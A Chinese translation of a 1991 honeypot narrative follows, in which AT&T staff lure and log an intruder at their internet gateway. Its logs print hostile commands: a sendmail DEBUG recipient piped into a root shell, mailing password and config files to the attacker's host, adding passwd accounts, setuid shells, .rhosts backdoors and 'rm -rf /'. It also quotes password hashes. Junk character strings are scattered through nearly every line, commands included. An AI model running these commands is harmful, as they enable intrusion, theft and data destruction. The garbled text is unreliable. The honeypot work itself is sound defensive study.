在1991年1月7號(hào),一個(gè)黑客,他確信自己發(fā)現(xiàn)了我們的Internet網(wǎng)關(guān)計(jì)算機(jī)的sendmail的一個(gè)DUBUG漏洞的黑客,試圖獲得我們的password文件,我“送”給他了一份。
+ o' V+ ~ v: z- c; `在幾個(gè)月中,我們引誘這名黑客作各種快樂(lè)的嘗試,以便于我們發(fā)現(xiàn)他的位置和使用的破解技術(shù)。這篇文章是對(duì)該黑客的“成功”和失敗,我們使用的誘餌和陷阱的詳細(xì)記錄. t; q% @0 L7 R
我們的結(jié)論是我們所遇到的這個(gè)黑客擁有大量的時(shí)間,固執(zhí)異常,并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個(gè)正式注冊(cè)身份,使用那些漏洞他可以輕易的攻破uucp和bin帳號(hào),然后是root。我們的黑客對(duì)軍事目標(biāo)和可以幫助他中轉(zhuǎn)其連接的新機(jī)器很感興趣。
6 {9 O! `; m" |' k' X! x% K簡(jiǎn)介2 i( @9 m9 M( f; p( _ o4 H
我們的安全I(xiàn)nternet網(wǎng)關(guān)是1990年1月開始使用的。對(duì)于這個(gè)整個(gè)城堡的大門,我想知道它所可能遭到的攻擊會(huì)有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人,那么他們是誰(shuí)?他們會(huì)攻擊什么地方?會(huì)多么頻繁?他們經(jīng)常嘗試系統(tǒng)的那些漏洞?
0 ^9 j+ ]$ Y; B/ l) [1 L4 X* i事實(shí)上,他們沒(méi)有對(duì)AT&T作出破壞,甚至很少光顧我們的這扇大門,那么,最終的樂(lè)趣只有如此,引誘一個(gè)黑客到一個(gè)我們?cè)O(shè)計(jì)好的環(huán)境中,記錄下來(lái)他的所有動(dòng)作,研究其行為,并提醒他的下一個(gè)目標(biāo)作出防范。, b1 I7 P0 |1 I% z8 D0 k4 w
大多數(shù)Internet上的工作站很少提供工具來(lái)作這些事情,商業(yè)系統(tǒng)檢測(cè)并報(bào)告一些問(wèn)題,但是它們忽略了很多我們想要的東西。我們的網(wǎng)關(guān)每天產(chǎn)生10兆的日志文件。但人們對(duì)于日志記錄以外的服務(wù)的攻擊呢?" {5 [; k9 ?3 [
我們添加了一些虛假的服務(wù)在系統(tǒng)上,同時(shí)我編寫了一個(gè)script文件用來(lái)檢索每天的日志。我們檢查以下幾點(diǎn):* G+ n0 j# b" v0 {8 p; m3 F
FTP :檢索的工具會(huì)報(bào)告每天所有注冊(cè)和試圖注冊(cè)的用戶名。它還會(huì)報(bào)告用戶對(duì)tilde的使用(這是個(gè)老版本的ftp的漏洞)、所有對(duì)ftp目錄的/etc/passwd和/etc/group的存取以及對(duì)pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來(lái)獲得系統(tǒng)的正式用戶的注冊(cè)名稱,然后攻擊、破解其密碼。有時(shí)有些系統(tǒng)的管理員會(huì)將系統(tǒng)的真實(shí)passwd文件放在ftp的/etc目錄下,我們偽造了一個(gè)passwd文件,它的密碼被破解后是“why are you wasting your time.”
; _& B8 W1 Q+ s1 g5 B( V/ t0 dTelnet / login :所有試圖login的動(dòng)作都被記錄了下來(lái)。這很容易就可以看出有些人在嘗試很多帳號(hào),或強(qiáng)力攻擊某一個(gè)帳號(hào)。因?yàn)槲覀冞@個(gè)Internet的大門除了“警衛(wèi)”外沒(méi)有什么別的用戶,很容易就可以找到問(wèn)題所在。3 p8 x9 {2 R2 p0 G$ {; w+ u# N, C
Guest / visitor 帳號(hào):黑客們第一個(gè)尋找的就是公用帳號(hào)。這些帳號(hào)提供了友好的,最輕易的獲取幾乎系統(tǒng)的所有文件的機(jī)會(huì),包括passwd文件。黑客也可以通過(guò)獲取/etc/hosts.equiv文件或每個(gè)用戶的.rhosts文件來(lái)獲得機(jī)器的信任主機(jī)列表。我們對(duì)于這些帳號(hào)的login script文件是這樣編寫的:( y/ { \3 F7 T$ G: e
exec 2>/dev/null # ensure that stderr doesn't appear
+ w6 K: u7 p$ X2 N% x5 k% dtrap "" 1
# a2 d/ T7 s+ W" Y7 ]3 V V/bin/echo
6 r* |9 k) M6 F0 d3 x1 `' \( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
* a2 ~: ]4 L; Y% e# ?1 i/ F' t. @upasname=adm /bin/mail ches dangelo &1 O) N9 m; [* B* ^3 T! ~
# (notify calling machine's administrator for some machines...)9 |1 @2 h; ]" O$ |0 G6 v
# (finger the calling machine...)
7 o7 ]0 u+ W1 `5 Y) 2>&1 | mail ches dangelo! ^5 t# ~( ]6 Z- ~/ u( x
/bin/echo "/tmp full"
# D9 c2 _5 ?+ P. S' s' o4 q' isleep 5 # I love to make them wait....; `, t" l$ X/ D5 l$ L, F
/bin/echo "/tmp full"
+ _& \5 k- ]5 [) f/bin/echo "/tmp full"1 {; t4 _3 k! P) U& H2 f% [
/bin/echo
0 l8 v. d7 Z usleep 60 # ... and simulating a busy machine is useful: e9 X6 R; N: j5 K& Y* O
我們必須小心以便不讓調(diào)用者看到系統(tǒng)的標(biāo)志出錯(cuò)信息(如果一旦我們編寫的script有誤)。注意$CALLER是在另一端的主機(jī)或IP地址。通過(guò)修改telnetd或login,它將可以通過(guò)環(huán)境變量來(lái)獲取。4 @/ }4 ?/ J* t6 j+ i- m. u/ ]; q
SMTP DEBUG : 這個(gè)命令提供了兩個(gè)守候sendmail的漏洞的陷阱。雖然幾乎所有的產(chǎn)品出售商都清除了這個(gè)漏洞,但偶爾仍有黑客嘗試它。這個(gè)漏洞允許外部的使用者使用一段以root權(quán)限執(zhí)行的script。當(dāng)有些人嘗試這個(gè)漏洞時(shí),我就獲得了他嘗試的script代碼。 s) ]0 I$ C' r. D$ c; C: j
Finger :Finger提供了大量有用的信息給黑客:帳號(hào)名,該帳號(hào)的最后一次使用時(shí)間,以及一些可以用來(lái)猜測(cè)密碼的信息。由于我們的組織不允許提供這些信息給別人,我們置入了一個(gè)程序,在finger了fingerd的調(diào)用者后拒絕figner請(qǐng)求。(當(dāng)然我們會(huì)避免對(duì)來(lái)自自己的finger信息的死循環(huán))。報(bào)告表明每天有數(shù)以十計(jì)的finger請(qǐng)求,其中大部分是合法的。
) E$ l/ J3 O# s; X9 E t. \Rlogin / rsh :這些命令都是基于一些無(wú)條件信任的系統(tǒng),我們的機(jī)器并不支持。但我們會(huì)finger使用這些命令的用戶,并將他的嘗試和用戶信息等生成報(bào)告。" r6 f: w6 W- N
上述很多探測(cè)器都使用figner命令來(lái)查明調(diào)用的機(jī)器和使用者。4 @8 J( S3 r1 D- I `/ ?
當(dāng)一個(gè)嘗試顯示為有不合法企圖時(shí),我就發(fā)出這樣一條消息:' S* E. @$ u1 u9 Y% r `6 P- s- p& B
inetfans postmaster@sdsu.edu* H) A0 I/ G9 W
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file/ H$ K( a* W, g: f
from our FTP directory. The file is not important, but these probes
9 k! ] {* k3 a% P1 N- H3 ^. Ware sometimes performed from stolen accounts.+ ]# l/ G% G d3 _. R! c: B
Just thought you'd like to know.. e) [' [2 s! g! J
Bill Cheswick
/ j- ^! N5 Z( z( o3 @7 A這是一個(gè)典型的信件,它被發(fā)往“inetfans”,這些人屬于計(jì)算機(jī)緊急響應(yīng)小組(Computer Emergency Response Team , CERT)、某些興趣小組或?qū)δ承┱军c(diǎn)感興趣的人。; b/ i1 T1 o" r- L; ^
很多系統(tǒng)管理員很重視這些報(bào)告,尤其是軍事站點(diǎn)。通常,系統(tǒng)管理員在解決這些問(wèn)題上都非常合作。對(duì)這些信件的反應(yīng)包括道歉,拒絕信件,關(guān)閉帳號(hào)以及沉默等等。當(dāng)一個(gè)站點(diǎn)開來(lái)愿意支持黑客們的活動(dòng)時(shí),我們會(huì)考慮拒收來(lái)自該站的所有信息包。
9 A3 _& p1 i3 ?! k# a不友好的行動(dòng)# b( {. j( J4 Z3 ~
我們從1990年1月設(shè)置好這些探測(cè)器。統(tǒng)計(jì)表明被攻擊率在每年學(xué)校的假期期間會(huì)上升。我們的被攻擊率可能比其他站點(diǎn)高,因?yàn)槲覀兪菑V為人知的,并被認(rèn)為是“電話公司”。
6 P% t4 e1 }% C$ W/ S& l S+ {當(dāng)一個(gè)遠(yuǎn)程使用者取走passwd文件時(shí),并不是所有的人都出于惡意的目的。有時(shí)他們只是想看看是否傳輸能正常工作。) W6 z3 ]9 W1 }9 m
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP2 J( Z- u7 \* w, G
19:43:14 smtpd[27466]: -------> debug9 {' Z7 w" Y8 Z1 b# `2 o- p- {
19:43:14 smtpd[27466]: DEBUG attempt
1 O/ S& _: J( P2 _1 ^19:43:14 smtpd[27466]: <--- 200 OK
# }) c! F: H$ q8 ?# o+ S' F19:43:25 smtpd[27466]: -------> mail from:
% @+ s. D% x0 v' |0 j4 s' d+ D19:43:25 smtpd[27466]: <--- 503 Expecting HELO
% v B; i! X. v4 w3 S19:43:34 smtpd[27466]: -------> helo, G" ~# M5 I8 F3 E9 F9 \
19:43:34 smtpd[27466]: HELO from
2 u: D+ t) }3 k( J2 G19:43:34 smtpd[27466]: <--- 250 inet.att.com
. r4 ~! `4 q% R) S19:43:42 smtpd[27466]: -------> mail from:
' R7 @+ }! F9 z19:43:42 smtpd[27466]: <--- 250 OK' p q% h6 L( l7 j+ n6 _- g& `
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name* c% o. U# ^5 Z% \$ x
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
/ C/ p" p3 w5 m$ F% X6 }19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"; Z* j9 ?9 _) Z) Q- w/ \4 r6 |
19:44:45 smtpd[27466]: <--- 250 OK
$ a: [3 h$ Y; h% h8 F3 f19:44:48 smtpd[27466]: -------> data; n5 Q- ~- B/ ]( j! S& O% }! B
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
" @0 \9 g0 A( X1 H) M% \6 m19:45:04 smtpd[27466]: <--- 250 OK" L6 J" q0 r0 B) K& }+ Q6 T
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security' M C2 P8 K, T( f
19:45:08 smtpd[27466]: -------> quit
! v+ S5 V! h% e0 f2 i19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating5 i3 s; y+ R: H) n0 j G+ l: M3 ^
19:45:08 smtpd[27466]: finished.
- |$ r/ j _" y% A: ~: P4 J9 G這是我們對(duì)SMTP過(guò)程的日志。這些看來(lái)很神秘的日志通常是有兩個(gè)郵件發(fā)送器來(lái)相互對(duì)話的。在這個(gè)例子中,另一端是由人來(lái)鍵入命令。他嘗試的第一個(gè)命令是DEBUG。當(dāng)他接收的“250 OK”的回應(yīng)時(shí)一定很驚奇。關(guān)鍵的行是“rcpt to :”。在尖括號(hào)括起的部分通常是一個(gè)郵件接收器的地址。這里它包含了一個(gè)命令行。Sendmail在DEBUG模式下用它來(lái)以ROOT身份執(zhí)行一段命令。即:% S I( [! L o- S$ s1 M) S% M
sed -e '1,/?$/'d | /bin/sh ; exit 0"0 q5 z5 Q# ]3 \1 p4 g2 `
它剝?nèi)チ肃]件頭,并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我,這是我記錄下來(lái)的,包含時(shí)間戳:
1 p, c$ T" s" Y: y19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來(lái)運(yùn)行一些passwd破解程序。所有這些探測(cè)結(jié)果都來(lái)自EMBEZZLE.STANFORD.EDU的一個(gè)adrian用戶。他在美國(guó)空襲伊拉克半個(gè)小時(shí)后公然作出敵意反應(yīng)。我懷疑是薩達(dá)姆雇傭了一兩個(gè)黑客。我恰巧在ftp的目錄下有一個(gè)假的passwd文件,就用root身份給Stanford發(fā)了過(guò)去。/ u! s Y+ V2 Q# G0 }) ~. |
第二個(gè)早晨,我聽到了來(lái)自Stanford的消息:他們知道了這件事,并正在發(fā)現(xiàn)問(wèn)題所在。他們說(shuō)adrian這個(gè)帳號(hào)被盜用了。
4 ~% R9 @8 T. W7 H接著的一個(gè)星期天我接到了從法國(guó)發(fā)來(lái)的一封信:7 `2 a9 p* b5 w( s3 I
To: root@research.att.com* K% [5 i7 Z9 @: r' L
Subject: intruder/ a' ]- z' C6 \) C1 U
Date: Sun, 20 Jan 91 15:02:53 +0100
4 B0 C# u7 h- w/ rI have just closed an account on my machine
) x0 I6 p5 Y8 z' V3 `which has been broken by an intruder coming from embezzle.stanford.edu. He6 }5 {: S1 k$ a& q; R5 E7 B3 l
(she) has left a file called passwd. The contents are:+ m* \' W6 r1 m. k9 L
------------>
) k1 B1 i r0 R2 l: o' g& ]From root@research.att.com Tue Jan 15 18:49:13 1991& w0 w9 `7 G% r; r7 j
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
! T+ v, |# O8 ?8 ^: b+ y" ~Tue, 15 Jan 91 18:49:12 -08003 A( h3 l9 f( A/ x4 v
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
7 F1 C J* f: x) B% ]4 ~, E% G8 jFrom: root@research.att.com
$ @4 M( D3 _; ?4 K6 dDate: Tue, 15 Jan 91 21:48 EST `3 x. R5 Y0 p) y) r* |
To: adrian@embezzle.stanford.edu2 u. v G- P ~6 F
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:, Q1 M6 z( O8 o$ y, ^
Daemon: *:1:1:0000-Admin(0000):/:
4 ~2 N2 G/ T4 f" @7 F% TBin: *:2:2:0000-Admin(0000):/bin:# P D, @1 {/ I4 R9 i
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
/ G @ R8 ~3 o2 pAdm: *:4:4:0000-Admin(0000):/usr/adm:
* l2 z; p" V- T. PUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
, D7 o/ {: w9 F, ~0 R' q, G8 B0 ~Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico; f: j, ?. i9 V" k0 t/ u
Ftp: anonymous:71:14:file transfer:/:no soap. H1 M) S6 \/ e$ i
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
( p- x e% i. {/ c; A& l: UDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh8 S0 R$ H# ?* ~2 F+ m+ b0 o0 S1 }# H
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh5 r4 J0 G+ t6 x9 Z& Y. I
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh6 U, w$ R# V0 u5 P
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh' S Z" H: o/ C Z, E9 q3 q
Status: R
0 M2 P$ v6 g0 \5 Z------------Please let me know if you heard of him." ^! N1 `: \- ~7 A% K, S
陪伴Berferd的一個(gè)夜晚
. U3 |2 S8 {: `2 C& V" S+ k1月20號(hào),星期天晚上,我的終端報(bào)告有安全敏感事件。
7 j. ^7 l- \& u, U/ E1 d) U3 }22:33 finger attempt on berferd
4 r* e" T; _( o& I7 z; F幾分鐘后,有人試圖使用DEBUG來(lái)用ROOT身份執(zhí)行命令,他試圖修改我們的passwd文件!* y: }& s5 B! v) C- L
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd; u+ }4 p! u2 t4 w3 s! L, ]
cp /bin/sh /tmp/shell
8 b* B- v; d' ]& `7 }chmod 4755 /tmp/shell
$ M7 u) L5 G( y9 V" W3 P3 C. e連接同樣來(lái)自EMBEZZLE.STANFORD.EDU。* H" u# G$ b; o
我該怎么作呢?我不希望他真的能獲得一個(gè)網(wǎng)關(guān)的帳號(hào),為什么引狼入室呢?那樣我將得不到他的鍵盤活動(dòng)。
$ O5 |# q3 G9 R9 L0 J我應(yīng)該繼續(xù)看看他關(guān)注的其他事情,或許我可以手工模擬一下操作系統(tǒng),這意味著我必須讓他以為機(jī)器速度很慢,因?yàn)槲覠o(wú)法和MIPS M/120相比。同時(shí)意味著我必須模擬一個(gè)一致的操作系統(tǒng)。/ d1 K* v t) x
我已經(jīng)有一個(gè)要求了,因?yàn)樗呀?jīng)持有了一份passwd。
c: V1 j' u+ x+ G K決定一:ftp的passwd是一個(gè)真實(shí)的passwd。) p B; W$ k! C" P' C0 [+ R+ `
還有另外的兩個(gè):1 _% H8 R5 h/ B8 \0 q; C5 Z- l
決定二:網(wǎng)關(guān)機(jī)器管理極差。(有DEBUG漏洞,ftp目錄里有passwd)。" g& V* ~9 ~! Q4 {' i+ E
決定三:網(wǎng)關(guān)機(jī)器極慢。
% H. H# _8 B2 N& b4 L3 L因此我決定讓他以為他已經(jīng)改變了passwd文件,但卻不急于讓他進(jìn)來(lái)。我必須生成一個(gè)帳號(hào),但卻使它不可操作。我應(yīng)該怎么辦?: f" h) _4 a2 e
決定四:我的shell并沒(méi)有放在/bin下,它放在其他地方。這樣,他進(jìn)來(lái)后(讓他認(rèn)為passwd已經(jīng)改動(dòng)了),沒(méi)有可運(yùn)行的shell。0 H% |" z% R) i1 l5 _
這個(gè)決定很愚蠢,但我不會(huì)因此損失任何東西。我寫了一個(gè)script,生成了一個(gè)臨時(shí)帳號(hào)b,當(dāng)它被調(diào)用時(shí)它會(huì)給我發(fā)信,調(diào)用者將看到如下信息:
. Y# x2 ~/ |6 d+ v8 }6 oRISC/os (inet)7 M J6 M' c' B' P& g
login: b; i' d, c. \ k5 }$ q4 H1 W3 w
RISC/os (UMIPS) 4.0 inet
+ q8 g* |0 a0 a& g# ], l% P" wCopyright 1986, MIPS Computer Systems! b$ Z. z4 B# p2 W/ `
All Rights Reserved. z6 G% ^8 b/ Z F9 k
Shell not found6 @6 u+ s6 B) k: T
我把b帳號(hào)在實(shí)際passwd文件中改成了beferd,當(dāng)我作完后,他在此嘗試:+ k7 Y# o$ K! Y$ q) T: W$ @4 e
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
1 x. Z" I( |5 V4 v) u' F) o0 g ~+ ^他的另一個(gè)試圖添加到passwd文件的嘗試。事實(shí)上,在我為bferd完成新的配置之前他開始急躁了:5 n1 @% x* [/ y
22:45 talk adrian@embezzle.stand?Hford.edu
. p, }9 t5 N. qtalk adrian@embezzle.stanford.edu
$ j; M/ r: I1 T8 ?& h( e決定五:我們沒(méi)有talk這個(gè)命令。
% ~! G, E- T J3 x+ {1 ^7 e他選擇了berferd這個(gè)帳號(hào):
: V5 l. ] Q6 @( m5 h8 F2 A22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
8 O0 a0 b5 b5 L6 O+ h22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU- ]+ Z3 G5 p. z& Y/ ~
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
: n$ M$ u9 K7 j. R9 x22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)6 O/ @) Z: d# _0 j
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU( o1 D: o5 ]: z, E6 B
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU7 p3 Y9 M' T4 \: W2 G4 {
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd& l. i3 m; k) r9 f7 v7 m8 l. G
22:57 (Added bfrd to the real password file.)
( o8 m& i# n0 Y5 I$ \22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ I1 z4 p/ n- c: Z: z9 l
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU3 W1 n5 H5 m R1 Q+ q* |& C+ a
23:05 echo "36.92.0.205" >/dev/null
. c" v- C+ A6 o$ O" R& aecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
7 i; g0 E. R* h0 j0 l g6 [' h% b23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
9 b! |1 k0 |# M1 ]& S23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts5 y# o9 s- b U" @' j: V
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
) C4 n5 s5 d5 D' j$ V. ^很顯然他希望能夠rlogin到我們的網(wǎng)關(guān),這需要一些本地文件的特定設(shè)置。我們并沒(méi)有作rlogin的檢測(cè)。
* I- C& C& D$ \$ W8 u這時(shí)他又有新的動(dòng)作:4 A0 g) p6 c/ d* `
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
: \1 _3 i: l! g6 A" e( z4 x23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU' x+ j3 l. p: }4 D7 ~& m5 f
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
[; q9 M5 b6 c, I3 u |! mps -aux|mail adrian@embezzle.stanford.edu& G* s1 h: B% @" e$ a4 [
在rlogin失敗后,他希望能得到我們的inetd.conf文件來(lái)查看我們究竟啟動(dòng)了什么服務(wù)。我不想讓他看到真正的inetd.conf,但偽造一個(gè)又非常困難。# W% s2 l! ?8 }3 c' ?
決定七:網(wǎng)關(guān)機(jī)器運(yùn)行不穩(wěn)定,時(shí)有不確定事件。% |6 R, v" O0 W2 }& q9 Q/ O: T
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts. y) O/ I/ T; i' h% r; @% L8 V) [
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts" s; j3 Y% h; k) s
ps -aux|mail adrian@embezzle.stanford.edu
% L- ?/ g) Z2 Q. m$ D; jmail adrian@embezzle.stanford.edu < /etc/inetd.conf r K. S2 Z9 g% w
我不希望他看到ps的結(jié)果,幸運(yùn)的是,他的Berkeley系統(tǒng)的ps命令在我的System V機(jī)器上是無(wú)效的。
) P5 E# l0 |/ {, W o4 r6 ]* W3 ^這時(shí)我通知了CERT,這時(shí)一起嚴(yán)重的攻擊事件,在Stanford也應(yīng)該有追蹤這些請(qǐng)求的人。這時(shí),活動(dòng)又轉(zhuǎn)到ftp上來(lái):
# }' z- J, z) n6 D- V# W6 G9 FJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server* d5 n4 G4 @5 t+ |
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
9 T8 |" M3 d( A$ WJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M% F( ?# e8 b" z' X' X* v7 V! \2 ]2 E
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
) [( L0 B" l6 p F( D/ D jJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
6 E6 n! W+ Q$ QJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
6 K0 a: R# {# T; RJan 20 23:37:13 inet ftpd[14437]: -------> pass?M7 ^ h$ v9 a7 ]0 y
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
/ M$ a- R9 Z. G. a! u4 y- eJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M: `* b: X& o% }' u
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are1 E& ~3 F' @ ^3 q8 v
recognized (* =>'s unimplemented).
4 m# ]; j8 @$ W* L) {7 g' {4 IJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
0 r; O9 G4 J; [2 b7 A3 ?3 GJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M$ M/ c2 R) j. v/ v* c/ s
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
) T* b8 f" b4 R4 e3 x& HJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
& H, Q& s) F+ Y3 K$ }$ ?Jan 20 23:37:31 inet inetd[116]: exit 14437
* ?! Q( n H4 I4 M/ bJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 144545 ^6 v2 h- }9 E. ?: H: N8 w
Jan 20 23:37:41 inet inetd[116]: exit 14454% e$ W# M. [3 n" f8 F
23:38 finger attempt on berferd$ q0 n9 I: |$ ]5 Q t! \& V
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv- l1 U: A6 Q( M
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b) v" ~: Y0 Y$ W$ T9 I
cp /bin/sh /usr/etc/fingerd
2 X1 n' W- x. Z/ Z/ t" f0 `決定四已經(jīng)決定了最后一行的嘗試必然失敗。因此,他只是破壞了我們模擬的機(jī)器上的finger而已,并沒(méi)有將之替換成一個(gè)shell程序。我關(guān)閉了實(shí)際的fingerd程序。
/ l" J* Z6 @7 f8 H23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
4 ^% H8 B& s! N& c: k4 A3 G23:58 cp /bin/csh /usr/etc/fingerd: `+ l4 N9 n" z
我們模擬的機(jī)器上csh并不在/bin下,因此這個(gè)命令無(wú)效。6 ~# k4 h8 D% C% D# G9 }1 B
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
! @1 A) R. ~; L6 X# L6 Q好吧,fingerd現(xiàn)在重新開始工作。Berferd的恢復(fù)工作干的不錯(cuò)。% S V( i8 Q" C3 C" g
00:14 passwd bfrt
# E4 T" d7 j( p/ U8 ^bfrt
; ]: T& s, C6 Y( h, \/ n1 rbfrt
* c$ s4 b7 ]& R- O( v* O' T現(xiàn)在他試圖修改password,這永遠(yuǎn)不會(huì)成功,因?yàn)閜asswd的輸入是/dev/tty,不是sendmail所執(zhí)行的shell script。/ r% L* B9 M4 f/ y' y3 X2 ^
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
9 j6 O& i/ \' S, H0 r& `( |00:17 echo "/bin/sh" > /tmp/Shell
# h U6 W8 K: E! v; g- H3 s) |: [chmod 755 /tmp/shell. ]" f: l# T: b8 G8 C0 b0 K. o
chmod 755 /tmp/Shell
6 W/ g1 s6 R; d2 c$ s' ?00:19 chmod 4755 /tmp/shell; }% R% P p% k2 |9 L9 S* e
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU. `& b4 u; m/ V6 l- v
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU h2 L/ z2 P4 T8 v
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU1 [, n) g+ k4 F' n7 E
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- P f' ]3 L+ ^2 E這時(shí)我已經(jīng)很累了。2 ~" g# I8 [+ B* J0 b7 i
01:55 rm -rf /&
/ L+ H1 }: a* L r/ \5 c- w喔??!太狠了!顯然機(jī)器的狀態(tài)讓他迷惑,他希望能清除所有的痕跡。有些黑客會(huì)保護(hù)自己所作的工作,聲明自己不作任何破壞。我們的黑客對(duì)我們感到疲勞了,因此以此結(jié)束。. H, c! ~, m, a& i9 ~
他繼續(xù)工作了幾分鐘,后來(lái)放棄:- c: y1 K$ G$ K/ y) x7 n D+ M/ S
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU; U h0 [3 X6 F9 Y+ h; e( @ g
07:14 rm -rf /&
- a# b4 ]: I: Y; @0 N3 h07:17 finger attempt on berferd
* {! G( F% t. M; z1 d0 C07:19 /bin/rm -rf /&
/ W2 H6 K3 A6 R- @+ m( F/bin/rm -rf /&9 K- L' I3 K' u* J6 r
07:23 /bin/rm -rf /&* K# x- }# A1 i7 N9 [
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% Y% Y- e1 u6 L: a7 Y) D. r4 T09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, l$ s7 ?9 W1 z0 {) \ |